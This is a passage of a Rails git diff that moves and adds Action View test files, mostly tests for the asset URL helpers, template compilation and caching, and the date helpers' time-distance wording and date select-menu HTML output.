+    assert_dom_equal(%(/collaboration/hieraki/javascripts/foo.js), javascript_path("foo"))
+    assert_dom_equal(%(/collaboration/hieraki/stylesheets/foo.css), stylesheet_path("foo"))
+  end
+end
+
+class AssetUrlHelperControllerTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetUrlHelper
+
+  def setup
+    super
+
+    @controller = BasicController.new
+    @controller.extend ActionView::Helpers::AssetUrlHelper
+
+    @request = Class.new do
+      attr_accessor :script_name
+      def protocol() 'http://' end
+      def ssl?() false end
+      def host_with_port() 'www.example.com' end
+      def base_url() 'http://www.example.com' end
+    end.new
+
+    @controller.request = @request
+  end
+
+  def test_asset_path
+    assert_equal "/foo", @controller.asset_path("foo")
+  end
+
+  def test_asset_url
+    assert_equal "http://www.example.com/foo", @controller.asset_url("foo")
+  end
+end
+
+class AssetUrlHelperEmptyModuleTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetUrlHelper
+
+  def setup
+    super
+
+    @module = Module.new
+    @module.extend ActionView::Helpers::AssetUrlHelper
+  end
+
+  def test_asset_path
+    assert_equal "/foo", @module.asset_path("foo")
+  end
+
+  def test_asset_url
+    assert_equal "/foo", @module.asset_url("foo")
+  end
+
+  def test_asset_url_with_request
+    @module.instance_eval do
+      def request
+        Struct.new(:base_url, :script_name).new("http://www.example.com", nil)
+      end
+    end
+
+    assert @module.request
+    assert_equal "http://www.example.com/foo", @module.asset_url("foo")
+  end
+
+  def test_asset_url_with_config_asset_host
+    @module.instance_eval do
+      def config
+        Struct.new(:asset_host).new("http://www.example.com")
+      end
+    end
+
+    assert @module.config.asset_host
+    assert_equal "http://www.example.com/foo", @module.asset_url("foo")
+  end
+end
diff --git a/actionpack/test/template/atom_feed_helper_test.rb b/actionview/test/template/atom_feed_helper_test.rb
similarity index 100%
rename from actionpack/test/template/atom_feed_helper_test.rb
rename to actionview/test/template/atom_feed_helper_test.rb
diff --git a/actionpack/test/template/capture_helper_test.rb b/actionview/test/template/capture_helper_test.rb
similarity index 100%
rename from actionpack/test/template/capture_helper_test.rb
rename to actionview/test/template/capture_helper_test.rb
diff --git a/actionview/test/template/compiled_templates_test.rb b/actionview/test/template/compiled_templates_test.rb
new file mode 100644
index 0000000..2336321
--- /dev/null
+++ b/actionview/test/template/compiled_templates_test.rb
@@ -0,0 +1,62 @@
+require 'abstract_unit'
+
+class CompiledTemplatesTest < ActiveSupport::TestCase
+  def setup
+    # Clean up any details key cached to expose failures
+    # that otherwise would appear just on isolated tests
+    ActionView::LookupContext::DetailsKey.clear
+
+    @compiled_templates = ActionView::CompiledTemplates
+    @compiled_templates.instance_methods.each do |m|
+      @compiled_templates.send(:remove_method, m) if m =~ /^_render_template_/
+    end
+  end
+
+  def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
+    assert_equal "one", render(:file => "test/render_file_with_locals_and_default")
+    assert_equal "two", render(:file => "test/render_file_with_locals_and_default", :locals => { :secret => "two" })
+  end
+
+  def test_template_changes_are_not_reflected_with_cached_templates
+    assert_equal "Hello world!", render(:file => "test/hello_world")
+    modify_template "test/hello_world.erb", "Goodbye world!" do
+      assert_equal "Hello world!", render(:file => "test/hello_world")
+    end
+    assert_equal "Hello world!", render(:file => "test/hello_world")
+  end
+
+  def test_template_changes_are_reflected_with_uncached_templates
+    assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
+    modify_template "test/hello_world.erb", "Goodbye world!" do
+      assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world")
+    end
+    assert_equal "Hello world!", render_without_cache(:file => "test/hello_world")
+  end
+
+  private
+    def render(*args)
+      render_with_cache(*args)
+    end
+
+    def render_with_cache(*args)
+      view_paths = ActionController::Base.view_paths
+      ActionView::Base.new(view_paths, {}).render(*args)
+    end
+
+    def render_without_cache(*args)
+      path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+      view_paths = ActionView::PathSet.new([path])
+      ActionView::Base.new(view_paths, {}).render(*args)
+    end
+
+    def modify_template(template, content)
+      filename = "#{FIXTURE_LOAD_PATH}/#{template}"
+      old_content = File.read(filename)
+      begin
+        File.open(filename, "wb+") { |f| f.write(content) }
+        yield
+      ensure
+        File.open(filename, "wb+") { |f| f.write(old_content) }
+      end
+    end
+end
diff --git a/actionpack/test/template/date_helper_i18n_test.rb b/actionview/test/template/date_helper_i18n_test.rb
similarity index 100%
rename from actionpack/test/template/date_helper_i18n_test.rb
rename to actionview/test/template/date_helper_i18n_test.rb
diff --git a/actionview/test/template/date_helper_test.rb b/actionview/test/template/date_helper_test.rb
new file mode 100644
index 0000000..b86ae91
--- /dev/null
+++ b/actionview/test/template/date_helper_test.rb
@@ -0,0 +1,3227 @@
+require 'abstract_unit'
+
+class DateHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::DateHelper
+
+  silence_warnings do
+    Post = Struct.new("Post", :id, :written_on, :updated_at)
+    Post.class_eval do
+      def id
+        123
+      end
+      def id_before_type_cast
+        123
+      end
+      def to_param
+        '123'
+      end
+    end
+  end
+
+  def assert_distance_of_time_in_words(from, to=nil)
+    to ||= from
+
+    # 0..1 minute with :include_seconds => true
+    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => true)
+    assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => true)
+    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => true)
+    assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => true)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => true)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => true)
+    assert_equal "half a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => true)
+    assert_equal "half a minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => true)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => true)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => true)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => true)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => true)
+
+    # 0..1 minute with :include_seconds => false
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => false)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => false)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => false)
+
+    # Note that we are including a 30-second boundary around the interval we
+    # want to test. For instance, "1 minute" is actually 30s to 1m29s. The
+    # reason for doing this is simple -- in `distance_of_time_to_words`, when we
+    # take the distance between our two Time objects in seconds and convert it
+    # to minutes, we round the number. So 29s gets rounded down to 0m, 30s gets
+    # rounded up to 1m, and 1m29s gets rounded down to 1m. A similar thing
+    # happens with the other cases.
+
+    # First case 0..1 minute
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds)
+    assert_equal "less than a minute", distance_of_time_in_words(from, to + 29.seconds)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 30.seconds)
+    assert_equal "1 minute", distance_of_time_in_words(from, to + 1.minutes + 29.seconds)
+
+    # 2 minutes up to 45 minutes
+    assert_equal "2 minutes", distance_of_time_in_words(from, to + 1.minutes + 30.seconds)
+    assert_equal "44 minutes", distance_of_time_in_words(from, to + 44.minutes + 29.seconds)
+
+    # 45 minutes up to 90 minutes
+    assert_equal "about 1 hour", distance_of_time_in_words(from, to + 44.minutes + 30.seconds)
+    assert_equal "about 1 hour", distance_of_time_in_words(from, to + 89.minutes + 29.seconds)
+
+    # 90 minutes up to 24 hours
+    assert_equal "about 2 hours", distance_of_time_in_words(from, to + 89.minutes + 30.seconds)
+    assert_equal "about 24 hours", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 29.seconds)
+
+    # 24 hours up to 42 hours
+    assert_equal "1 day", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "1 day", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 29.seconds)
+
+    # 42 hours up to 30 days
+    assert_equal "2 days", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 30.seconds)
+    assert_equal "3 days", distance_of_time_in_words(from, to + 2.days + 12.hours)
+    assert_equal "30 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
+
+    # 30 days up to 60 days
+    assert_equal "about 1 month", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "about 1 month", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 29.seconds)
+    assert_equal "about 2 months", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "about 2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 29.seconds)
+
+    # 60 days up to 365 days
+    assert_equal "2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 30.seconds)
+    assert_equal "12 months", distance_of_time_in_words(from, to + 1.years - 31.seconds)
+
+    # >= 365 days
+    assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years - 30.seconds)
+    assert_equal "about 1 year",    distance_of_time_in_words(from, to + 1.years + 3.months - 1.day)
+    assert_equal "over 1 year",     distance_of_time_in_words(from, to + 1.years + 6.months)
+
+    assert_equal "almost 2 years",  distance_of_time_in_words(from, to + 2.years - 3.months + 1.day)
+    assert_equal "about 2 years",   distance_of_time_in_words(from, to + 2.years + 3.months - 1.day)
+    assert_equal "over 2 years",    distance_of_time_in_words(from, to + 2.years + 3.months + 1.day)
+    assert_equal "over 2 years",    distance_of_time_in_words(from, to + 2.years + 9.months - 1.day)
+    assert_equal "almost 3 years",  distance_of_time_in_words(from, to + 2.years + 9.months + 1.day)
+
+    assert_equal "almost 5 years",  distance_of_time_in_words(from, to + 5.years - 3.months + 1.day)
+    assert_equal "about 5 years",   distance_of_time_in_words(from, to + 5.years + 3.months - 1.day)
+    assert_equal "over 5 years",    distance_of_time_in_words(from, to + 5.years + 3.months + 1.day)
+    assert_equal "over 5 years",    distance_of_time_in_words(from, to + 5.years + 9.months - 1.day)
+    assert_equal "almost 6 years",  distance_of_time_in_words(from, to + 5.years + 9.months + 1.day)
+
+    assert_equal "almost 10 years", distance_of_time_in_words(from, to + 10.years - 3.months + 1.day)
+    assert_equal "about 10 years",  distance_of_time_in_words(from, to + 10.years + 3.months - 1.day)
+    assert_equal "over 10 years",   distance_of_time_in_words(from, to + 10.years + 3.months + 1.day)
+    assert_equal "over 10 years",   distance_of_time_in_words(from, to + 10.years + 9.months - 1.day)
+    assert_equal "almost 11 years", distance_of_time_in_words(from, to + 10.years + 9.months + 1.day)
+
+    # test to < from
+    assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
+    assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => true)
+    assert_equal "less than a minute", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => false)
+  end
+
+  def test_distance_in_words
+    from = Time.utc(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(from)
+  end
+
+  def test_distance_in_words_with_mathn_required
+    # test we avoid Integer#/ (redefined by mathn)
+    require 'mathn'
+    from = Time.utc(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(from)
+  end
+
+  def test_time_ago_in_words_passes_include_seconds
+    assert_equal "less than 20 seconds", time_ago_in_words(15.seconds.ago, :include_seconds => true)
+    assert_equal "less than a minute", time_ago_in_words(15.seconds.ago, :include_seconds => false)
+  end
+
+  def test_distance_in_words_with_time_zones
+    from = Time.mktime(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(from.in_time_zone('Alaska'))
+    assert_distance_of_time_in_words(from.in_time_zone('Hawaii'))
+  end
+
+  def test_distance_in_words_with_different_time_zones
+    from = Time.mktime(2004, 6, 6, 21, 45, 0)
+    assert_distance_of_time_in_words(
+      from.in_time_zone('Alaska'),
+      from.in_time_zone('Hawaii')
+    )
+  end
+
+  def test_distance_in_words_with_dates
+    start_date = Date.new 1975, 1, 31
+    end_date = Date.new 1977, 1, 31
+    assert_equal("about 2 years", distance_of_time_in_words(start_date, end_date))
+
+    start_date = Date.new 1982, 12, 3
+    end_date = Date.new 2010, 11, 30
+    assert_equal("almost 28 years", distance_of_time_in_words(start_date, end_date))
+    assert_equal("almost 28 years", distance_of_time_in_words(end_date, start_date))
+  end
+
+  def test_distance_in_words_with_integers
+    assert_equal "1 minute", distance_of_time_in_words(59)
+    assert_equal "about 1 hour", distance_of_time_in_words(60*60)
+    assert_equal "1 minute", distance_of_time_in_words(0, 59)
+    assert_equal "about 1 hour", distance_of_time_in_words(60*60, 0)
+    assert_equal "about 3 years", distance_of_time_in_words(10**8)
+    assert_equal "about 3 years", distance_of_time_in_words(0, 10**8)
+  end
+
+  def test_distance_in_words_with_times
+    assert_equal "1 minute", distance_of_time_in_words(30.seconds)
+    assert_equal "1 minute", distance_of_time_in_words(59.seconds)
+    assert_equal "2 minutes", distance_of_time_in_words(119.seconds)
+    assert_equal "2 minutes", distance_of_time_in_words(1.minute + 59.seconds)
+    assert_equal "3 minutes", distance_of_time_in_words(2.minute + 30.seconds)
+    assert_equal "44 minutes", distance_of_time_in_words(44.minutes + 29.seconds)
+    assert_equal "about 1 hour", distance_of_time_in_words(44.minutes + 30.seconds)
+    assert_equal "about 1 hour", distance_of_time_in_words(60.minutes)
+
+    # include seconds
+    assert_equal "half a minute", distance_of_time_in_words(39.seconds, 0, :include_seconds => true)
+    assert_equal "less than a minute", distance_of_time_in_words(40.seconds, 0, :include_seconds => true)
+    assert_equal "less than a minute", distance_of_time_in_words(59.seconds, 0, :include_seconds => true)
+    assert_equal "1 minute", distance_of_time_in_words(60.seconds, 0, :include_seconds => true)
+  end
+
+  def test_time_ago_in_words
+    assert_equal "about 1 year", time_ago_in_words(1.year.ago - 1.day)
+  end
+
+  def test_select_day
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16))
+    assert_dom_equal expected, select_day(16)
+  end
+
+  def test_select_day_with_blank
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="1 [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), :include_blank => true)
+    assert_dom_equal expected, select_day(16, :include_blank => true)
+  end
+
+  def test_select_day_nil_with_blank
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="1 [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(nil, :include_blank => true)
+  end
+
+  def test_select_day_with_two_digit_numbers
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="1">01</option>\n<option selected="selected" value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value=" [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2011, 8, 2), :use_two_digit_numbers => true)
+    assert_dom_equal expected, select_day(2, :use_two_digit_numbers => true)
+  end
+
+  def test_select_day_with_html_options
+    expected = %(<select id="date_day" name="date[day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), {}, :class => 'selector')
+    assert_dom_equal expected, select_day(16, {}, :class => 'selector')
+  end
+
+  def test_select_day_with_default_prompt
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(16, :prompt => true)
+  end
+
+  def test_select_day_with_custom_prompt
+    expected = %(<select id="date_day" name="date[day]">\n)
+    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_day(16, :prompt => 'Choose day')
+  end
+
+  def test_select_month
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16))
+    assert_dom_equal expected, select_month(8)
+  end
+
+  def test_select_month_with_two_digit_numbers
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">01</option>\n<option value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8" selected="selected">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2011, 8, 16), :use_two_digit_numbers => true)
+    assert_dom_equal expected, select_month(8, :use_two_digit_numbers => true)
+  end
+
+  def test_select_month_with_disabled
+    expected = %(<select id="date_month" name="date[month]" disabled="disabled">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :disabled => true)
+    assert_dom_equal expected, select_month(8, :disabled => true)
+  end
+
+  def test_select_month_with_field_name_override
+    expected = %(<select id="date_mois" name="date[mois]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :field_name => 'mois')
+    assert_dom_equal expected, select_month(8, :field_name => 'mois')
+  end
+
+  def test_select_month_with_blank
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :include_blank => true)
+    assert_dom_equal expected, select_month(8, :include_blank => true)
+  end
+
+  def test_select_month_nil_with_blank
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(nil, :include_blank => true)
+  end
+
+  def test_select_month_with_numbers
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8" selected="selected">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_numbers => true)
+    assert_dom_equal expected, select_month(8, :use_month_numbers => true)
+  end
+
+  def test_select_month_with_numbers_and_names
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">1 - January</option>\n<option value="2">2 - February</option>\n<option value="3">3 - March</option>\n<option value="4">4 - April</option>\n<option value="5">5 - May</option>\n<option value="6">6 - June</option>\n<option value="7">7 - July</option>\n<option value="8" selected="selected">8 - August</option>\n<option value="9">9 - September</option>\n<option value="10">10 - October</option>\n<option value="11">11 - November</option>\n<option value="12">12 [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true)
+    assert_dom_equal expected, select_month(8, :add_month_numbers => true)
+  end
+
+  def test_select_month_with_format_string
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">January (01)</option>\n<option value="2">February (02)</option>\n<option value="3">March (03)</option>\n<option value="4">April (04)</option>\n<option value="5">May (05)</option>\n<option value="6">June (06)</option>\n<option value="7">July (07)</option>\n<option value="8" selected="selected">August (08)</option>\n<option value="9">September (09)</option>\n<option value="10">October (10)</option>\n<option value="11">November (11)</option>\n<option valu [...]
+    expected << "</select>\n"
+
+    format_string = '%{name} (%<number>02d)'
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :month_format_string => format_string)
+    assert_dom_equal expected, select_month(8, :month_format_string => format_string)
+  end
+
+  def test_select_month_with_numbers_and_names_with_abbv
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true, :use_short_month => true)
+    assert_dom_equal expected, select_month(8, :add_month_numbers => true, :use_short_month => true)
+  end
+
+  def test_select_month_with_abbv
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">Jan</option>\n<option value="2">Feb</option>\n<option value="3">Mar</option>\n<option value="4">Apr</option>\n<option value="5">May</option>\n<option value="6">Jun</option>\n<option value="7">Jul</option>\n<option value="8" selected="selected">Aug</option>\n<option value="9">Sep</option>\n<option value="10">Oct</option>\n<option value="11">Nov</option>\n<option value="12">Dec</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_short_month => true)
+    assert_dom_equal expected, select_month(8, :use_short_month => true)
+  end
+
+  def test_select_month_with_custom_names
+    month_names = %w(nil Januar Februar Marts April Maj Juni Juli August September Oktober November December)
+
+    expected = %(<select id="date_month" name="date[month]">\n)
+    1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month]}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
+    assert_dom_equal expected, select_month(8, :use_month_names => month_names)
+  end
+
+  def test_select_month_with_zero_indexed_custom_names
+    month_names = %w(Januar Februar Marts April Maj Juni Juli August September Oktober November December)
+
+    expected = %(<select id="date_month" name="date[month]">\n)
+    1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month-1]}</option>\n) }
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
+    assert_dom_equal expected, select_month(8, :use_month_names => month_names)
+  end
+
+  def test_select_month_with_hidden
+    assert_dom_equal "<input type=\"hidden\" id=\"date_month\" name=\"date[month]\" value=\"8\" />\n", select_month(8, :use_hidden => true)
+  end
+
+  def test_select_month_with_hidden_and_field_name
+    assert_dom_equal "<input type=\"hidden\" id=\"date_mois\" name=\"date[mois]\" value=\"8\" />\n", select_month(8, :use_hidden => true, :field_name => 'mois')
+  end
+
+  def test_select_month_with_html_options
+    expected = %(<select id="date_month" name="date[month]" class="selector" accesskey="M">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
+    #result = select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
+    #assert result.include?('<select id="date_month" name="date[month]"')
+    #assert result.include?('class="selector"')
+    #assert result.include?('accesskey="M"')
+    #assert result.include?('<option value="1">January')
+  end
+
+  def test_select_month_with_default_prompt
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(8, :prompt => true)
+  end
+
+  def test_select_month_with_custom_prompt
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_month(8, :prompt => 'Choose month')
+  end
+
+  def test_select_year
+    expected = %(<select id="date_year" name="date[year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005)
+    assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005)
+  end
+
+  def test_select_year_with_disabled
+    expected = %(<select id="date_year" name="date[year]" disabled="disabled">\n)
